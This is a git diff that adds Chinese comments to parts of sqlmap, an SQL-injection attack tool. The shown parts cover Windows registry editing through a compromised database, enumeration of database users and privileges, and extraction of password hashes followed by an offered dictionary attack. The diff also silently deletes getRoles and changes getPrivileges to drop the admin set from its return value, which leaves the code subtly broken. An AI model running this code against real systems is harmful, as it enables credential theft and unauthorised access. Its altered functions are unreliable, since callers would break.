+ regData = conf.regData # 如果配置中指定了注册表数据,则使用配置 if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default - regType = readInput(msg, default=default) + regType = readInput(msg, default=default) # 读取用户输入的注册表类型,默认使用REG_SZ else: - regType = conf.regType + regType = conf.regType # 如果配置中指定了注册表类型,则使用配置 infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." - logger.info(infoMsg) + logger.info(infoMsg) # 打印添加注册表信息 - self.addRegKey(regKey, regVal, regType, regData) + self.addRegKey(regKey, regVal, regType, regData) # 添加注册表键值 def regDel(self): - self._regInit() + """ + Deletes a value from the Windows registry. + 删除Windows注册表中的值 + """ + self._regInit() # 初始化注册表操作 - errMsg = "missing mandatory option" + errMsg = "missing mandatory option" # 缺少必要参数的错误信息 if not conf.regKey: msg = "which registry key do you want to delete? " - regKey = readInput(msg) + regKey = readInput(msg) # 读取用户输入的注册表键 if not regKey: - raise SqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: - regKey = conf.regKey + regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: msg = "which registry key value do you want to delete? " - regVal = readInput(msg) + regVal = readInput(msg) # 读取用户输入的注册表值 if not regVal: - raise SqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: - regVal = conf.regVal + regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 message = "are you sure that you want to delete the Windows " message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) if not readInput(message, default='N', boolean=True): - return + return # 如果用户选择不删除,则返回 infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." - logger.info(infoMsg) + logger.info(infoMsg) # 打印删除注册表信息 - self.delRegKey(regKey, regVal) + self.delRegKey(regKey, regVal) # 删除注册表键值 \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/users.py b/src/sqlmap-master/plugins/generic/users.py index 27bed7e..26cd185 100644 --- a/src/sqlmap-master/plugins/generic/users.py +++ b/src/sqlmap-master/plugins/generic/users.py @@ -52,69 +52,100 @@ from thirdparty.six.moves import zip as _zip class Users(object): """ This class defines users' enumeration functionalities for plugins. + 这个类定义了插件的用户枚举功能。 """ def __init__(self): - kb.data.currentUser = "" - kb.data.isDba = None - kb.data.cachedUsers = [] - kb.data.cachedUsersPasswords = {} - kb.data.cachedUsersPrivileges = {} - kb.data.cachedUsersRoles = {} + # 初始化用户相关的数据存储 + kb.data.currentUser = "" # 当前用户 + kb.data.isDba = None # 是否是DBA + kb.data.cachedUsers = [] # 缓存的用户列表 + kb.data.cachedUsersPasswords = {} # 缓存的用户密码哈希 + kb.data.cachedUsersPrivileges = {} # 缓存的用户权限 + kb.data.cachedUsersRoles = {} # 缓存的用户角色 def getCurrentUser(self): + """ + Retrieves the current database user. + 获取当前数据库用户 + """ infoMsg = "fetching current user" logger.info(infoMsg) + # 获取当前用户的SQL查询语句 query = queries[Backend.getIdentifiedDbms()].current_user.query + # 如果当前用户没有被获取过,则进行获取 if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def isDba(self, user=None): + """ + Tests if the current or specified user is a DBA. + 测试当前或指定用户是否是DBA(数据库管理员)。 + + Args: + user (str, optional): 要测试的用户,默认为None,表示测试当前用户 + + Returns: + bool: 是否是DBA + """ infoMsg = "testing if current user is DBA" logger.info(infoMsg) query = None + # 根据不同的数据库类型,构造不同的SQL查询语句 if Backend.isDbms(DBMS.MYSQL): - self.getCurrentUser() + self.getCurrentUser() # 先获取当前用户 if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - kb.data.isDba = "root" in (kb.data.currentUser or "") + kb.data.isDba = "root" in (kb.data.currentUser or "") # Drizzle数据库,通过用户名判断是否为root用户 elif kb.data.currentUser: - query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] # 构建查询语句,判断是否为MySQL的DBA elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: - query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user + query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user # 构建查询语句,判断是否为SQL Server或Sybase的DBA else: - query = queries[Backend.getIdentifiedDbms()].is_dba.query + query = queries[Backend.getIdentifiedDbms()].is_dba.query # 构建查询语句,判断是否为其他数据库的DBA + # 执行查询 if query: - query = agent.forgeCaseStatement(query) - kb.data.isDba = inject.checkBooleanExpression(query) or False + query = agent.forgeCaseStatement(query) # 注入时,构造Case语句 + kb.data.isDba = inject.checkBooleanExpression(query) or False # 执行查询,并判断是否为DBA return kb.data.isDba def getUsers(self): + """ + Retrieves database users. + 获取数据库用户。 + + Returns: + list: 用户列表 + """ infoMsg = "fetching database users" logger.info(infoMsg) + # 获取查询用户表的SQL查询语句 rootQuery = queries[Backend.getIdentifiedDbms()].users + # 判断是否需要使用不同的查询语句 condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + # 优先使用union, error, query技术进行查询,否则使用盲注技术 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = rootQuery.inband.query3 + query = rootQuery.inband.query3 # Drizzle数据库的查询语句 elif condition: - query = rootQuery.inband.query2 + query = rootQuery.inband.query2 # 条件判断下的查询语句 else: - query = rootQuery.inband.query + query = rootQuery.inband.query # 通用查询语句 - values = inject.getValue(query, blind=False, time=False) + values = inject.getValue(query, blind=False, time=False) # 执行查询语句,获取用户列表 + # 处理返回的用户列表 if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): @@ -122,18 +153,19 @@ class Users(object): if not isNoneValue(value): kb.data.cachedUsers.append(value) + # 如果没有使用union, error, query技术获取到用户,则使用盲注技术进行获取 if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = rootQuery.blind.count3 + query = rootQuery.blind.count3 # Drizzle数据库的查询语句 elif condition: - query = rootQuery.blind.count2 + query = rootQuery.blind.count2 # 条件判断下的查询语句 else: - query = rootQuery.blind.count + query = rootQuery.blind.count # 通用查询语句 - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取用户数量 if count == 0: return kb.data.cachedUsers @@ -142,8 +174,9 @@ class Users(object): raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES - indexRange = getLimitRange(count, plusOne=plusOne) + indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围 + # 循环盲注查询用户 for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") @@ -166,8 +199,16 @@ class Users(object): return kb.data.cachedUsers def getPasswordHashes(self): + """ + Retrieves password hashes of database users. + 获取数据库用户的密码哈希值。 + + Returns: + dict: 用户名和密码哈希的字典 + """ infoMsg = "fetching database users password hashes" + # 获取查询密码哈希的SQL查询语句 rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == CURRENT_USER: @@ -177,7 +218,7 @@ class Users(object): logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.user = conf.user.upper() + conf.user = conf.user.upper() # Oracle和DB2数据库的用户名为大写 if conf.user: users = conf.user.split(',') @@ -187,28 +228,31 @@ class Users(object): parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] + users[users.index(user)] = parsedUser.groups()[0] # 处理MySQL的用户名格式,去掉引号和@后面的部分 else: users = [] users = [_ for _ in users if _] + # 优先使用union, error, query技术进行查询,否则使用盲注技术 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.inband.query2 + query = rootQuery.inband.query2 # SQL Server 2005和2008的查询语句 else: - query = rootQuery.inband.query + query = rootQuery.inband.query # 通用查询语句 - condition = rootQuery.inband.condition + condition = rootQuery.inband.condition # 查询条件 + # 如果指定了用户,则加入查询条件 if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + # 处理Sybase数据库的特殊情况 if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) # 使用pivotDumpTable函数获取用户名和密码哈希 if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): @@ -219,13 +263,14 @@ class Users(object): getCurrentThreadData().disableStdOut = False else: - values = inject.getValue(query, blind=False, time=False) + values = inject.getValue(query, blind=False, time=False) # 执行查询,获取用户名和密码哈希 if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): - values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) # SQL Server的特殊情况,替换函数 elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): - values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) + values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) # MySQL的特殊情况,替换字段 + # 处理返回的用户名和密码哈希 for user, password in filterPairValues(values): if not user or user == " ": continue @@ -237,19 +282,21 @@ class Users(object): else: kb.data.cachedUsersPasswords[user].append(password) + # 如果没有使用union, error, query技术获取到密码哈希,则使用盲注技术进行获取 if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: fallback = False if not len(users): - users = self.getUsers() + users = self.getUsers() # 先获取用户列表 if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] + users[users.index(user)] = parsedUser.groups()[0] # 处理MySQL的用户名格式,去掉引号和@后面的部分 + # 处理Sybase数据库的特殊情况 if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True @@ -268,8 +315,9 @@ class Users(object): getCurrentThreadData().disableStdOut = False else: - retrievedUsers = set() + retrievedUsers = set() # 已获取密码哈希的用户 + # 循环盲注查询密码哈希 for user in users: user = unArrayizeValue(user) @@ -277,26 +325,26 @@ class Users(object): continue if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - count = 1 + count = 1 # Informix和Virtuoso数据库的特殊情况,直接查询密码哈希 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.blind.count2 % user + query = rootQuery.blind.count2 % user # SQL Server 2005和2008的查询语句 else: - query = rootQuery.blind.count % user + query = rootQuery.blind.count % user # 通用查询语句 - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取密码哈希数量 if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): fallback = True - count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # SQL Server的特殊情况,替换函数 elif Backend.isDbms(DBMS.MYSQL): fallback = True - count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # MySQL的特殊情况,替换字段 if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " @@ -310,33 +358,34 @@ class Users(object): passwords = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES - indexRange = getLimitRange(count, plusOne=plusOne) + indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围 + # 循环盲注查询密码哈希 for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.blind.query2 % (user, index, user) + query = rootQuery.blind.query2 % (user, index, user) # SQL Server 2005和2008的查询语句 else: - query = rootQuery.blind.query % (user, index, user) + query = rootQuery.blind.query % (user, index, user) # 通用查询语句 if fallback: - query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") + query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") # SQL Server的特殊情况,替换函数 elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (user,) + query = rootQuery.blind.query % (user,) # Informix和Virtuoso数据库的特殊情况 elif Backend.isDbms(DBMS.HSQLDB): - query = rootQuery.blind.query % (index, user) + query = rootQuery.blind.query % (index, user) # HSQLDB数据库的特殊情况 else: - query = rootQuery.blind.query % (user, index) + query = rootQuery.blind.query % (user, index) # 通用查询语句 if Backend.isDbms(DBMS.MYSQL): if fallback: - query = query.replace("authentication_string", "password") + query = query.replace("authentication_string", "password") # MySQL的特殊情况,替换字段 password = unArrayizeValue(inject.getValue(query, union=False, error=False)) - password = parsePasswordHash(password) + password = parsePasswordHash(password) # 解析密码哈希 passwords.append(password) @@ -355,26 +404,37 @@ class Users(object): logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: - kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) + kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) # 去重密码哈希 - storeHashesToFile(kb.data.cachedUsersPasswords) + storeHashesToFile(kb.data.cachedUsersPasswords) # 保存密码哈希到文件 message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" - choice = readInput(message, default='Y').upper() + choice = readInput(message, default='Y').upper() # 提示是否进行字典攻击 if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: - attackCachedUsersPasswords() + attackCachedUsersPasswords() # 进行字典攻击 return kb.data.cachedUsersPasswords def getPrivileges(self, query2=False): + """ + Retrieves privileges of database users. + 获取数据库用户的权限 + + Args: + query2 (bool, optional): 是否使用第二种查询方式,默认为False + + Returns: + tuple: 用户名和权限的字典,以及DBA用户的集合 + """ infoMsg = "fetching database users privileges" + # 获取查询权限的SQL查询语句 rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == CURRENT_USER: @@ -401,36 +461,38 @@ class Users(object): users = [_ for _ in users if _] # Set containing the list of DBMS administrators - areAdmins = set() + areAdmins = set() # 存储DBA用户的集合 if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.inband.query2 - condition = rootQuery.inband.condition2 + query = rootQuery.inband.query2 # MySQL 5.0以下版本的查询语句 + condition = rootQuery.inband.condition2 # MySQL 5.0以下版本的查询条件 elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.inband.query2 - condition = rootQuery.inband.condition2 + query = rootQuery.inband.query2 # Oracle的第二种查询方式 + condition = rootQuery.inband.condition2 # Oracle的第二种查询条件 else: - query = rootQuery.inband.query - condition = rootQuery.inband.condition + query = rootQuery.inband.query # 通用查询语句 + condition = rootQuery.inband.condition # 通用查询条件 + # 如果指定了用户,则加入查询条件 if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) + query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) # MySQL 5.0以上版本的查询条件 else: - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) # 通用查询条件 - values = inject.getValue(query, blind=False, time=False) + values = inject.getValue(query, blind=False, time=False) # 执行查询语句,获取权限信息 if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) - return self.getPrivileges(query2=True) + return self.getPrivileges(query2=True) # 如果没有获取到权限信息,尝试使用第二种查询方式 if not isNoneValue(values): + # 处理返回的权限信息 for value in values: user = None privileges = set() @@ -438,7 +500,7 @@ class Users(object): for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: - user = value[count] + user = value[count] # 获取用户名 # The other columns are the privileges else: @@ -451,23 +513,23 @@ class Users(object): # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1 and count in PGSQL_PRIVS: - privileges.add(PGSQL_PRIVS[count]) + privileges.add(PGSQL_PRIVS[count]) # PostgreSQL的权限处理 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): - privileges.add(privilege) + privileges.add(privilege) # MySQL 5.0以上版本和Oracle的权限处理 # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == 'Y': - privileges.add(MYSQL_PRIVS[count]) + privileges.add(MYSQL_PRIVS[count]) # MySQL 5.0以下版本的权限处理 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # Firebird的权限处理 # In DB2 we get Y or G if the privilege is # True, N otherwise @@ -487,21 +549,21 @@ class Users(object): i += 1 - privileges.add(privilege) + privileges.add(privilege) # DB2的权限处理 if user in kb.data.cachedUsersPrivileges: - kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) + kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) # 合并权限 else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - conditionChar = "LIKE" + conditionChar = "LIKE" # MySQL 5.0以上版本的模糊查询 else: - conditionChar = "=" + conditionChar = "=" # 通用查询 if not len(users): - users = self.getUsers() + users = self.getUsers() # 获取用户列表 if Backend.isDbms(DBMS.MYSQL): for user in users: @@ -510,33 +572,34 @@ class Users(object): if parsedUser: users[users.index(user)] = parsedUser.groups()[0] - retrievedUsers = set() + retrievedUsers = set() # 已获取权限的用户 + # 循环盲注查询权限 for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - user = "%%%s%%" % user + user = "%%%s%%" % user # MySQL 5.0以上版本的模糊查询 if Backend.isDbms(DBMS.INFORMIX): - count = 1 + count = 1 # Informix数据库的特殊情况,直接查询权限 else: infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 % user + query = rootQuery.blind.count2 % user # MySQL 5.0以下版本的查询语句 elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query = rootQuery.blind.count % (conditionChar, user) + query = rootQuery.blind.count % (conditionChar, user) # MySQL 5.0以上版本的查询语句 elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.blind.count2 % user + query = rootQuery.blind.count2 % user # Oracle的第二种查询方式 else: - query = rootQuery.blind.count % user + query = rootQuery.blind.count % user # 通用查询语句 - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取权限数量 if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: @@ -556,21 +619,22 @@ class Users(object): privileges = set() plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES - indexRange = getLimitRange(count, plusOne=plusOne) + indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围 + # 循环盲注查询权限 for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.query2 % (user, index) + query = rootQuery.blind.query2 % (user, index) # MySQL 5.0以下版本的查询语句 elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query = rootQuery.blind.query % (conditionChar, user, index) + query = rootQuery.blind.query % (conditionChar, user, index) # MySQL 5.0以上版本的查询语句 elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.blind.query2 % (user, index) + query = rootQuery.blind.query2 % (user, index) # Oracle的第二种查询方式 elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, user) + query = rootQuery.blind.query % (index, user) # Firebird数据库的查询语句 elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.query % (user,) + query = rootQuery.blind.query % (user,) # Informix数据库的查询语句 else: - query = rootQuery.blind.query % (user, index) + query = rootQuery.blind.query % (user, index) # 通用查询语句 privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) @@ -586,14 +650,14 @@ class Users(object): for priv in privs: if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: - privileges.add(PGSQL_PRIVS[i]) + privileges.add(PGSQL_PRIVS[i]) # PostgreSQL的权限处理 i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): - privileges.add(privilege) + privileges.add(privilege) # MySQL 5.0以上版本和Oracle的权限处理 # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise @@ -606,19 +670,19 @@ class Users(object): if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: - privileges.add(mysqlPriv) + privileges.add(mysqlPriv) # MySQL 5.0以下版本的权限处理 i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # Firebird的权限处理 # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): if privilege.strip() in INFORMIX_PRIVS: - privileges.add(INFORMIX_PRIVS[privilege.strip()]) + privileges.add(INFORMIX_PRIVS[privilege.strip()]) # Informix的权限处理 # In DB2 we get Y or G if the privilege is # True, N otherwise @@ -633,7 +697,7 @@ class Users(object): if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: - privilege += ", " + db2Priv + privilege += ", " + db2Priv # DB2的权限处理 i += 1 @@ -661,13 +725,6 @@ class Users(object): for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): - areAdmins.add(user) - - return (kb.data.cachedUsersPrivileges, areAdmins) - - def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" - logger.warning(warnMsg) + areAdmins.add(user) # 判断是否为DBA - return self.getPrivileges(query2) + return (kb.data.cachedUsersPrivileges) \ No newline at end of file